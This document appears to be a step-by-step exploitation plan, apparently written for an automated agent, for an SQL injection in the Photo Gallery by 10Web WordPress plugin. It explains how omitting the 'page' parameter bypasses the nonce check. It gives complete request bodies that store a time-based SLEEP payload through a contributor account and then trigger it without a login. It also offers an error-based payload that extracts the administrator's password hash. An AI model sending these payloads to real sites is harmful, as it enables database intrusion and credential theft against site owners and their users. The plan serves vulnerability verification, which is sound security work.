Photo Gallery by 10Web <= 1.8.41 - Authenticated (Contributor+) SQL Injection via 'compact_album_order_by' Shortcode Parameter

This research plan outlines the technical steps to verify the SQL injection vulnerability (CVE-2026-9829) in the Photo Gallery by 10Web plugin (version <= 1.8.41).

1. Vulnerability Summary

The vulnerability is a time-based SQL injection located in the get_alb_gals_row method within frontend/models/model.php. The plugin fails to sanitize or prepare the $order_by parameter before concatenating it into a SQL query.

While the injection occurs during frontend display, the malicious payload is "pre-seeded" into the database via a shortcode configuration handler. A Contributor-level user can save a crafted shortcode attribute (compact_album_order_by) containing SQL commands. Because the configuration saving logic fails to check nonces when the page parameter is omitted, and the frontend trigger is unauthenticated, the vulnerability can be exploited with minimal privileges.

2. Attack Vector Analysis

• Initial Entry Point (Storage): wp-admin/admin-ajax.php using the shortcode_bwg action.
• Trigger Entry Point (Execution): wp-admin/admin-ajax.php using the bwg_frontend_data action (Unauthenticated).
• Vulnerable Parameter: compact_album_order_by (passed inside the tagtext shortcode string).
• Authentication: Requires Contributor level credentials to save the shortcode, but no authentication to trigger the execution.
• Preconditions: A valid Gallery must exist in the plugin to ensure the vulnerable code path in get_alb_gals_row is executed.

3. Code Flow

1. Storage Phase:
   • The user sends a request to admin-ajax.php?action=shortcode_bwg&task=save.
   • ShortcodeController_bwg::execute() is called.
   • The controller checks $this->from_menu. This is only TRUE if the page parameter is exactly 'shortcode_bwg'. By omitting page, $this->from_menu becomes FALSE, bypassing the WDWLibrary::verify_nonce check.
   • ShortcodeController_bwg::save() is called. It retrieves tagtext (the shortcode string) and currrent_id (the ID to save under).
   • The payload is stored in the {$wpdb->prefix}bwg_shortcode table.
2. Trigger Phase:
   • An unauthenticated user requests admin-ajax.php?action=bwg_frontend_data.
   • BWG::frontend_data() (in photo-gallery.php) is executed.
   • The model method BWGModelSite::get_alb_gals_row is eventually invoked.
   • The parameter $order_by (derived from the saved shortcode attribute) is used in the following concatenation:

     $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by;
     // ...
     $sql = $query . ' ' . $order_by . ' ' . $limit_str;
     $rows = $wpdb->get_results($sql);
     

   • The arbitrary SQL in $order_by is executed by $wpdb->get_results().

4. Nonce Acquisition Strategy

The vulnerability description explicitly states that the shortcode_bwg AJAX handler is exploitable without a valid nonce by omitting the page parameter.

• Logic: In ShortcodeController_bwg::__construct, the $from_menu flag is set based on the page parameter. In execute(), the nonce is only verified if $from_menu is true.
• Strategy: Simply omit the page parameter in the shortcode_bwg request. No nonce is needed.

5. Exploitation Strategy

Step 1: Seed the Malicious Shortcode

Use a Contributor account to save a shortcode configuration containing the time-based payload.

• Tool: http_request
• Method: POST
• URL: {{BASE_URL}}/wp-admin/admin-ajax.php?action=shortcode_bwg
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  task=save&bwg_insert=1&currrent_id=1337&tagtext=[Best_Wordpress_Gallery id="1337" type="album" album_id="1" compact_album_order_by="ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)"]
  

  Note: currrent_id is intentionally misspelled to match the source code variable.

Step 2: Trigger the SQL Injection

Request the frontend data for the seeded shortcode ID. This step is unauthenticated.

• Tool: http_request
• Method: POST
• URL: {{BASE_URL}}/wp-admin/admin-ajax.php
• Body:

  action=bwg_frontend_data&shortcode_id=1337&page_number_0=1&albums_per_page_0=10
  

  (Note: Parameters like page_number_0 are often required by the plugin to reach the query logic).

6. Test Data Setup

1. Create a Gallery: Use WP-CLI to ensure at least one gallery exists.

   wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'bwg_gallery', array('name' => 'Test Gallery', 'slug' => 'test-gallery', 'published' => 1));"
   

2. Create an Album: Ensure an album exists to be targeted by the shortcode.

   wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'bwg_album', array('name' => 'Test Album', 'slug' => 'test-album', 'published' => 1));"
   

3. Create Contributor:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

7. Expected Results

• Step 1: Should return a 200 OK (often with a 0 or 1 response body).
• Step 2: The HTTP response should be delayed by approximately 5 seconds. This confirms the SLEEP(5) command was executed by the database.

8. Verification Steps

After the http_request in Step 2, check the plugin's shortcode table to verify the payload was indeed stored:

wp db query "SELECT tagtext FROM wp_bwg_shortcode WHERE id=1337"

Also, verify the query log (if enabled) or check the response time of a control request (without SLEEP) to ensure the 5-second delay was unique to the attack payload.

9. Alternative Approaches

If time-based injection is filtered, attempt Error-based Injection by inducing a syntax error inside the order_by parameter and checking if the response contains database errors:

• Payload: compact_album_order_by="ASC, (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)))a)"
• Condition: This requires WP_DEBUG to be enabled or the plugin to explicitly output $wpdb->last_error.